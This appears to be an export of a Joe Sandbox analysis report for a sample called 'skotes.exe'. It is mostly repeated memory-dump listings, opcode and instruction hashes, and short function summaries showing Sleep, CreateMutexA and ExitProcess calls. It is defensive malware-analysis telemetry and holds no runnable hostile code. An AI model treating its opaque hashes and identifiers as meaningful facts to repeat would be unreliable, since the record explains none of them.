Associated: 00000000.00000002.1709863478.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709875979.0000000000C4F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709888099.0000000000C50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709901380.0000000000C5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709913085.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709924660.0000000000C5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709937066.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709949904.0000000000C68000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709962676.0000000000C6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709974452.0000000000C6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709986617.0000000000C70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710002067.0000000000C81000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710014381.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710014381.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710052072.0000000000CDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710064257.0000000000CDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710076874.0000000000CDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710089532.0000000000CE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710103458.0000000000CEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710115733.0000000000CF0000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: 115a79566a90eeb7cbada92720bfc510249ca209cacbeae33a69b9297b2d57dd
Instruction ID: a4fad485b9621ae2103ea7882cb7eb43a7f687d5d8031181efc607ffd2729ddf
Opcode Fuzzy Hash: 115a79566a90eeb7cbada92720bfc510249ca209cacbeae33a69b9297b2d57dd
Instruction Fuzzy Hash: 37A101B0A05249AFDB12DF66C9487AAB7F8FF55324F00C529E915D7281EB31EE04CB91

Analysis Process: skotes.exePID: 2696, Parent PID: 6936COMMON

Execution Graph

Execution Coverage:	1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	207
Total number of Limit Nodes:	9

Executed Functions

Function 00AD652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,00AD652A,?,?,?,?,?,00AD7661), ref: 00AD6567

Memory Dump Source

Source File: 00000001.00000002.1746831215.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.1746818244.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746831215.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746877793.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746890667.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746942997.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747030114.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747045083.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747067454.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747067454.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747100705.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747116706.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747133193.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747152191.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747170462.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747187044.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747201259.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747717299.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747770840.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747793172.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747837126.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747874251.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747972191.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747993810.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748029577.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748115115.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748132302.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748152837.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748166578.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748181609.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748195716.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748211983.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748227277.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748240665.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748257722.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748271446.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748271446.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748315030.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748328600.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748341677.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748356647.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748371532.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748384236.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: daaeaa316780847bbb546f57e85c6a8b2bc3d0f72fa22a92d1f47cbe42324067
Instruction ID: 0d792a571b4335115f1fdea7e0c376233e38e20b4d4cef50414e3e59cd9ac86b
Opcode Fuzzy Hash: daaeaa316780847bbb546f57e85c6a8b2bc3d0f72fa22a92d1f47cbe42324067
Instruction Fuzzy Hash: 12E0CD30045118AFCF357F1CDA09E483B69FF61745F000802FA154A321CB36EDC2D640

Function 00AA9BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00AAA963
CreateMutexA.KERNELBASE(00000000,00000000,00B03254), ref: 00AAA981

Memory Dump Source

Source File: 00000001.00000002.1746831215.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.1746818244.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746831215.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746877793.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746890667.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746942997.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747030114.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747045083.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747067454.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747067454.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747100705.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747116706.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747133193.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747152191.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747170462.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747187044.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747201259.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747717299.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747770840.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747793172.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747837126.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747874251.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747972191.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747993810.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748029577.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748115115.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748132302.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748152837.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748166578.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748181609.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748195716.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748211983.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748227277.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748240665.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748257722.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748271446.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748271446.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748315030.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748328600.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748341677.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748356647.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748371532.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748384236.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: ecb0ac49a153d485ad4c88cda5e2e2554b0632772faa2aca33f4cf8fcdab4adc
Instruction ID: f56bc1617af2f9ea964af5a47eab8c99416296d848d7bc16d5c6bfa68643d024
Opcode Fuzzy Hash: ecb0ac49a153d485ad4c88cda5e2e2554b0632772faa2aca33f4cf8fcdab4adc
Instruction Fuzzy Hash: 833128317142049BEB08AB7CDDC97AFB7AAEBD7310F248218E014973D6C7769980C751

Function 00AA9F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00AAA963
CreateMutexA.KERNELBASE(00000000,00000000,00B03254), ref: 00AAA981

Memory Dump Source

Source File: 00000001.00000002.1746831215.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.1746818244.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746831215.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746877793.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746890667.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746942997.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747030114.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747045083.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747067454.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747067454.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747100705.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747116706.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747133193.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747152191.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747170462.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747187044.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747201259.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747717299.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747770840.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747793172.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747837126.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747874251.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747972191.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747993810.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748029577.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748115115.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748132302.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748152837.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748166578.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748181609.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748195716.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748211983.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748227277.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748240665.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748257722.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748271446.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748271446.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748315030.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748328600.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748341677.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748356647.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748371532.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748384236.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 68bf06ba4e03dc0a82d1275646713fcd845aec75b23c15aa48d108417be8e081
Instruction ID: 365ff83fae184b647156b4293e048232a621cacb665db3101c8d631a79338a87
Opcode Fuzzy Hash: 68bf06ba4e03dc0a82d1275646713fcd845aec75b23c15aa48d108417be8e081
Instruction Fuzzy Hash: F13146317102049BEB18AB78DD887AEB7AAEBD6310F208619E014DB2D6D7369980C752

Function 00AAA079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00AAA963
CreateMutexA.KERNELBASE(00000000,00000000,00B03254), ref: 00AAA981

Memory Dump Source

Source File: 00000001.00000002.1746831215.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.1746818244.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746831215.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746877793.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746890667.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746942997.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747030114.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747045083.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747067454.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747067454.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747100705.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747116706.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747133193.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747152191.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747170462.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747187044.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747201259.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747717299.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747770840.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747793172.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747837126.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747874251.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747972191.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747993810.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748029577.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748115115.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748132302.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748152837.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748166578.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748181609.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748195716.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748211983.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748227277.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748240665.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748257722.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748271446.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748271446.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748315030.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748328600.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748341677.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748356647.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748371532.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748384236.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: e2be42c1f5dc7a20aa00d93eca6cc82d663627336faf75e7026fe43d24c11e0f
Instruction ID: 7d19f81d3701a91aff00f325df5805e9babf251311a5aa0ef6dd2d4110827b58
Opcode Fuzzy Hash: e2be42c1f5dc7a20aa00d93eca6cc82d663627336faf75e7026fe43d24c11e0f
Instruction Fuzzy Hash: D03146317502009BEB089B78CDC9BAEB7BADBE6314F208319E014973D6C7369980C762

Function 00AAA1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00AAA963
CreateMutexA.KERNELBASE(00000000,00000000,00B03254), ref: 00AAA981

Memory Dump Source

Source File: 00000001.00000002.1746831215.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.1746818244.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746831215.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746877793.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746890667.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746942997.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747030114.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747045083.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747067454.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747067454.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747100705.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747116706.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747133193.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747152191.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747170462.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747187044.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747201259.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747717299.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747770840.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747793172.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747837126.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747874251.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747972191.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747993810.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748029577.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748115115.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748132302.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748152837.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748166578.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748181609.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748195716.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748211983.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748227277.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748240665.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748257722.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748271446.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748271446.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748315030.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748328600.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748341677.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748356647.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748371532.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748384236.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: fabb26ff1d72d1d3e86c1a0b7c724065453b63b6401a096d427d773a07d43d79
Instruction ID: 1810f8a60dc6e835b357a09714634eca453fec4742421f917e39ff68bd4779e5
Opcode Fuzzy Hash: fabb26ff1d72d1d3e86c1a0b7c724065453b63b6401a096d427d773a07d43d79
Instruction Fuzzy Hash: 673116317102009BEB189B7CDDC97AEB7A6EBE7310F244619E014973D2D7769984C752

Function 00AAA418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
